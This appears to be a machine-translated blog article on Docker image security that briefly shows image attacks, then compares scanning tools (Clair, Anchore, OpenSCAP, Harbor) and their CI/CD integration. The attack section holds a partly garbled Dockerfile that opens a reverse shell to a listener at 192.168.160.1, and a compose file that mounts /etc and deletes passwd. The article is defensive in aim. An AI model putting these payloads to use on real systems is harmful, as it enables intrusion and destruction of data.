The authors introduce


Lin Weihao, SecDevOpsor, engaged in data network, network security and game operation and maintenance at China Telecom and netease Games successively. He has done a lot of research on Linux operation and maintenance, virtualization and network security protection, and currently focuses on network security automatic detection and defense system construction.

In the previous article “Talking about Docker Security Construction from Its Own Vulnerabilities and Architectural Defects”, we introduced the existing security problems of Docker, the security baseline and security rules of the whole Docker application architecture, and focused on various ideas and schemes of Docker security rules.

This article as a “sequel”, considering the mirror the universality and importance of security issues, will focus on around Docker scan image security and discusses the specific implementation of the audit, including technology selection, function and how to use and enterprise Docker container arrangement system, integration of specific problems, such as warehouse, finally also provides a ready-made source integration solution.

An overview,

According to the study of Green Alliance in March 2018, 76% of the images on Docker Hub have vulnerabilities. Its researchers pulled the first ten pages of images in the popular public images on Docker Hub, and conducted CVE scanning statistics on them using The Docker image security scanning tool Clair. The results showed that of more than 100 images, only 24% had no vulnerabilities and 67% had high-risk vulnerabilities. Many of the most commonly used images are included, such as HTTPD, Nginx, MySQL, etc.

There is an old saying: how do you know how to defend if you don’t know how to attack? The concrete implementation of Docker image attack is introduced below, and then the existing security protection scheme is proposed.

Docker image attack

Attacks on Docker containers include attacks on Docker Daemon APIS, K8S, Mesos and other container management platforms. In this respect, the threshold of attack utilization is low, and the results obtained are very rich, and it is easy to rebound Shell and getRoot.

However, today’s discussion is about attacks against Docker images. The common attack methods are mainly Dockerfiles attack and Docker compose attack. The following Docker image automation attacks mainly use the tool Dockerscan.

FROM alpine:latest

RUN apk add --update --no-cache netcat-openbsd docker

RUN mkdir /files>

COPY * /files/

UN mknod /tmp/back p

RUN /bin/sh 0/tmp/back

Once the client builds the image and starts the container, the Shell bounces back to the controller:

Nc – lv 192.168.160.1 12345

sh# id

root

Similarly, write a Docker compose file that contains malicious commands or vulnerable components. Once the client builds an image and starts the container, the Docker compose file will execute attack commands or expose vulnerable components.

test:

Image: ubuntu 14.04

 volumes:

  - /etc:/test

 command: rm /test/passwd 

 

pip3 install dockerscan

dockerscan -h

Usage: dockerscan [OPTIONS] COMMAND [ARGS]...

 

Options:

  -v           Verbose output

  -d           enable debug

  -q, --quiet  Minimal output

  --version    Show the version and exit.

  -h, --help   Show this message and exit.

 

Commands:

  image     Docker images commands

  registry  Docker registry actions

  scan      Search for Open Docker Registries

Docker image security scanning

By using the local Docker images command or operating the Docker Registry, you can maliciously modify images and implant attack trojans. But this is only one of the reasons why Docker image security scanning is required.

Another situation, the world’s largest Docker Hub above the official, there are also any images uploaded by users, but at present Docker Hub above only Office Repo will automatically call Docker Security Scan, Other even malicious images will not be reported or intercepted, personal images need to pay for scanning.

Therefore, when we use the image of external Docker Hub, we also need to conduct security scan. If you do not have the image security tool, you must carefully read the Dockerfile or download the Dockerfile local Build when using Repo Docker Pull without Office. Here is the flow chart of Docker’s official image security scan:

 

However, CoreOS has officially launched Clair image security scanning tool, which is also integrated by many Docker Registry, such as VMware China open source Harbor (CNCF member project), Quary and Dockyard, etc. In addition, there is a Docker image security scanning tool nova: Anchore, not only supports static scanning of images, but also supports dynamic scanning of containers.

Clair firstly extracts the features of the image, and then matches these features with the CVE vulnerability library. If any vulnerabilities are found, it will give a hint. Its function focuses on scanning for CVE vulnerabilities of OS and APP in containers. This tool can cross-check whether the operating system of Docker image and any package installed above is matched with any known unsafe package version, support to be combined with K8S, Registry, vulnerability scanning in the process of image construction, support OS wide, provide API, can provide build block and alarm.

Before we start analyzing Clair, we need to understand a few things:

  • Clair analyzes images in a static manner, similar to how antivirus software scans for viruses with signatures.

  • Clair image analysis is carried out according to the image Layer level. If there is a vulnerability in a Layer of software, it is deleted in the upper Layer, the vulnerability still exists.

  • Clair vulnerability scanning is completed through software version comparison. If the version of an application, such as Nginx, is 1.0.0 in the mirror, and the vulnerability data corresponding to 1.0.0 exists in the database, it indicates that the mirror has the corresponding vulnerability.

architecture

The overall architecture of Clair is shown below:

The overall processing process is as follows:

  • Clair periodically retrieves vulnerability metadata from configured sources and stores it in the database.

  • The client uses Clair API to process the image, obtain the image features and store them in the database.

  • The client uses the Clair API to query the database for vulnerabilities in a particular image, associating vulnerabilities and characteristics with each request, avoiding the need to rescan the image.

  • A system notification will be generated when vulnerability metadata is updated. In addition, webhooks are configured to record affected images or to intercept their deployment.

In addition, specific terms, drivers and data sources, and the use of notification methods can be referred to official documentation.

See the link: https://github.com/coreos/clair

The client

This is just the Clair server. Additional clients are required for application. From the official list of derivative development tools, there are already many choices.

Derivative development tools reference links:

https://github.com/coreos/clair/blob/master/Documentation/integrations.md 

  • The official client Clairctl test results are as follows:

Official client Clairctl reference link:

https://github.com/jgsqware/clairctl 

clairctl analyze -l cve-2017-11610_web

Image: /cve-2017-11610_web:latest 

 Unknown: 80 Negligible: 235 Low: 195 Medium: 418 High: 161 Critical: 0 Defcon1: 0 

  • Clair API3.0 is not well written, and the documentation for the APIv1 version is still available on the CoreOS website, but it is meaningless to use the new version because it has changed so much.

  • Klar only supports integration with Registry.

  • Yair only supports integration with Registry. Yair is written in Python and can be modified by itself.

  • Analyze -local-images: command line, but abandoned, only supports Clair v1/v2.

     

Clair API3.0

https://app.swaggerhub.com/apis/coreos/clair/3.0

APIv1 Version documentation reference link:

https://coreos.com/clair/docs/latest/api_v1.html

Klar Reference links:

https://github.com/optiopay/klar

Yair References:

https://github.com/yfoelling/yair

Analyze -local-images: command line, but abandoned

https://github.com/coreos/analyze-local-images

Use advice

  • Master is not stable, so it is not suitable for production environment. Release version is recommended.

    Current Version:

    https://github.com/coreos/clair/tree/release-2.0

  • Clair will scan the kernel used by Docker image according to the CVE library, but the container actually uses the host kernel, which may produce a lot of useless vulnerabilities or false positives. However, according to the Clair team, they leave the decision up to the user and do not provide whitelisting by default, nor do they differentiate between them.

  • The first startup should download data to the database, the download time is determined according to the network quality. Can replace Clair official DB mirror with https://github.com/arminc/clair-local-scan.

  • Many kernel vulnerabilities are detected, but can actually be left unaddressed. But Clair decided not to filter anything, leaving it up to the user to decide, which made it inevitable for users to re-develop and add a black-and-white list mechanism.

This is where an analysis tool, Anchore, comes in.

Different from Clair, Anchore focuses on auditing mirrors and has powerful mirror resolution capabilities. Anchore is a container inspection and analysis platform that supports analysis, inspection, security scanning, and custom policy evaluation for container images, such as black-and-white lists and custom rules.

architecture

The whole processing process is as follows:

  • Gets the mirrored content and unzips it, but never executes.

  • The image is analyzed by running a set of Anchore analyzers on the image content to extract and classify as much metadata as possible.

  • Save the generated analysis in a database for future use and review.

  • Evaluate strategies based on analysis results, including matching component vulnerabilities found in the mirror.

  • Update the latest external data for policy assessment and vulnerability matching, and automatically update the mirror analysis results for any new data found upstream.

  • Notify users of changes to policy assessments and vulnerability matching.

  • Repeat the above two steps at regular intervals to ensure up-to-date external data and updated mirror evaluations.

The client

The Anchore client, called Anchore-CLI, can manage and check mirrors, policies, subscription notifications, and mirror repositories. It is simple to work, install and use.

Anchore- CLI Reference links:

https://github.com/anchore/anchore-cli

  • Deployment supports source code installation and installation of various major operating system sources

git clone https://github.com/anchore/anchore-cli

cd anchore-cli

pip install –user –upgrade .

  • Configuration and Use

Configure the Anchore Engine connection address and authentication mode. Then, use the restful API to add an image to the Anchore Engine, view the image analysis status, perform image security scan, view layered image information, and subscribe to CVE update notifications.

Use advice

  • Anchore has been replaced by Anchore-engine, which causes all kinds of strange problems.

  • Anchore is divided into the community version, which has only a CLI interface, and the business version, which provides Web pages and more business support.

OpenSCAP

Like Clair, it relies on the CVE library for vulnerability scanning. At present, there is a Docker container scheme, Open SCAP4 Docker Docker Image: it can detect image/ Container according to OSCAP database.

Open SCAP4Docker Docker image

https://github.com/dduportal-dockerfiles/oscap4docker

The installation

  • Pull the mirror

Docker pull dduportal/oscap4docker: 1.0.0

Docker run dduportal/oscap4docker: 1.0.

  • Build the mirror

git clone https://github.com/dduportal-dockerfiles/oscap4docker.git

cd oscap4docker

The cat DockerfileFROM dduportal/oscap4docker: 1.0.0 MAINTAINER. The ADD/your – tests/app/oscap4docker – testsRUN yum install – y – q CMD [“/app/oscap4docker-tests/”]docker build -t my-tests ./

.

docker run -t my-tests… 

use

docker-oscap image IMAGE-NAME OSCAP-ARGUMENTS

  Scan a docker image.

docker-oscap image-cve IMAGE-NAME [–results oval-results-file.xml [–report report.html]]

  Scan a docker image for known vulnerabilities.

docker-oscap container CONTAINER-NAME OSCAP-ARGUMENTS

  Scan a running docker container of given name.

docker-oscap container-cve CONTAINER-NAME [–results oval-results-file.xml [–report report.html]]

  Scan a running container for known vulnerabilities.

See man oscap to learn more about OSCAP-ARGUMENTS

Iv. Selection of Docker image security system linked with enterprise CI/CD system

Integration into Rigistry and CI/CD

Clairs can be integrated directly into the container repository so that the repository is responsible for interacting with clAirs on behalf of users. This type of setup avoids manual scanning and creates a reasonable receiver for Clair vulnerability notifications to be in place.

Repositories can also be used for authorization to avoid revealing information about mirroring vulnerabilities that users should not have access to. Clair can be integrated into CI/CD pipes so that when an image is generated, the image is pushed to the repository and Clair’s request to scan the image is triggered. The integration idea is as follows:

  • The user pushes the image to the container warehouse, and the warehouse chooses whether to call Clair for scanning based on the set blacklist and whitelist.

  • Once the Clair scan is triggered, it waits for the scan results to return and then notifys the user.

Deployment way

There are two main methods: Kubernetes and local deployment:

The service side

  • K8S Cluster

git clone https://github.com/coreos/clair

cd clair/contrib/helm

cp clair/values.yaml ~/my_custom_values.yaml

vi ~/my_custom_values.yaml

helm dependency update clair

helm install clair -f ~/my_custom_values.yaml

  • Local

     

$ mkdir $PWD/clair_config$ curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o Yaml $docker run -d -e POSTGRES_PASSWORD=”” -p 5432:5432 postgres:9.6$docker run –net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml

The client

  • Major branch version

 curl -L https://raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh

  • Docker-compose

$ git clone [email protected]:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl$ cd $GOPATH/src/github.com/jgsqware/clairctl$ docker-compose up -d postgres

For example, Anchor can now seamlessly plug into the CI/CD workflow through Jenkins/Gitlab, where developers submit code to source code management and then trigger Jenkins/Gitlab to start a build that creates container images. Let developers “learn fast” and solve problems quickly by building failures and returning appropriate reports.

Next, how Anchore is integrated with Jenkins is introduced. There is also an official introduction of Jenkins integration with Gitlab.

Integrated with Jenkins

In addition, Anchore supports plug-in and local modes, but the local mode has been officially abandoned, so plug-in mode is currently the only option.

The plug-in is configured to mode with the Anchore Engine service API to access its service API from the working node. The Anchore plug-in can be used in Pipeline jobs or added as a build step to Freestyle jobs to automate analysis, evaluate custom policies for mirrors, and perform image security scans.

The whole processing process is as follows: The Jenkins job will build the container image and push the image to a pre-configured repository in the Anchore Engine service. The build step will interact with the Anchore Engine by “adding” the image (instructing the Anchore Engine to extract the image from the repository) and then perform a policy evaluation check on the image. If the policy evaluation results in a “stop” action, you can choose to configure the build step as a build failure. The plug-in stores the results of the generated policy assessment with the job for later review/audit. The plug-in can be used for Freestyle and Pipeline jobs.

Deployment way

There are mainly Jenkins plug-in and Kubernetes two deployment modes:

Jenkins plug-in

Assume that the following prerequisites have been met:

1) Jenkins2.x is installed and running on a VIRTUAL machine or physical server.

2) Anchore-Engine is installed and running with access to the EngineAPI URL (hereafter referred to as) and credentials (hereafter referred to as and), refer to the user documentation: Anchore Engine Overview and Installation.

Reference links:

https://anchore.freshdesk.com/support/home

Kubernetes calls the Anchore Engine API

When a user submits a deployment, Kubernetes invokes the Policy Validator service to initiate an image security scan to the Anchore Engine API to assess compliance with security rules. However, in this way, the vulnerability cannot be detected in advance in the CI stage, and the vulnerability is left to the CD stage, which is not a good design in my opinion.

 

architecture

The integrated Clair function is still formed by the combination of its official image and Postgres, and the scanned information is saved through Harbor’s own database.

Harbor does not currently support black and white lists. Vulnerability response thresholds can be set. For example, only images with high-risk vulnerabilities will block subsequent CI/CD or user pull.

Harbor in addition to the integration of Clair functions, from V1.1 also added the ability to mirror content trust, can help users achieve container image content trust problem. The source of the image is trusted through Content Trust. The security scan and audit logic of the entire image is as follows:

  • When the user submits the image Build task, Registry V2 will call THE API of Clair to submit the layered image Layers. After Clair scans, the result will be sent to Harbor, and Harbor will decide whether to allow the user to download according to the vulnerability threshold. If the vulnerability level of the image exceeds this threshold, the image will not be downloaded.

  • When the user of the image downloads, a summary of the image can be obtained from Notary based on the image name. Then, using the Registry V2 API, a Pull by Content (Digest) Registry call can be made to obtain the image from the trustor. If the image is not signed, getting the Digest fails and the image cannot be downloaded.

 

Here are the Harbor scan results:

The image above shows how users can initiate an active scan on Harbor, and the image security scan results are shown below.

 

The deployment of

Since Harbor officials and the community provide very detailed deployment documentation, this article will not be covered.

Selection Suggestions

Through the above comparison, readers can make choices according to their own actual situation. Harbor would be an easier choice to land on if migrating Docker repositories is convenient. If a heavy enterprise uses Jenkins, it is recommended to choose Anchore

Five, the end

To sum up, this paper starts from Docker image vulnerability mining, and introduces common image vulnerability introduction methods and detection tools. Then, it introduces the principle, architecture, deployment and landing scheme of the more popular Docker image security scanning tool in the industry. If readers can have a relatively comprehensive understanding of Docker image security scanning, that is enough.

  • Docker Image Security Overview:

    http://blog.nsfocus.net/docker-mirror-security/

  • Safety protection tools: Anchore:

    https://blog.csdn.net/liumiaocn/article/details/76732894?locationNum=10&fps=1

  • Docker Image security scan:

    https://blog.csdn.net/m0_37552052/article/details/78907296

  • Clair source code:

    https://blog.csdn.net/WaltonWang/article/details/53995685

  • Clair Secondary Development Guide:

    http://www.freebuf.com/column/157784.html

  • Docker image scanner implementation:

    https://www.tuicool.com/articles/ZF7n6vr

  • Clairctl deployment cases:

    https://blog.csdn.net/m0_37552052/article/details/78907296

  • Analysis-local-images Installation exception handling:

    http://www.bubuko.com/infodetail-2600784.html

  • Anchore Github repository:

    https://github.com/anchore/anchore

  • Anchore Jenkins Access mode:

    https://wiki.jenkins.io/display/JENKINS/Anchore+Container+Image+Scanner+Plugin

  • Docker Base: Private Library series: Exploring Harbor: (5) Integrated clair:

    https://blog.csdn.net/liumiaocn/article/details/81813707

  • Harbor Container mirroring security Vulnerability scanning

    https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/78180109

  • Harbor Content Trust Principle and Demo video:

    https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/80326458

  • Harbor User documentation:

    https://github.com/vmware/harbor/blob/master/docs/user_guide.md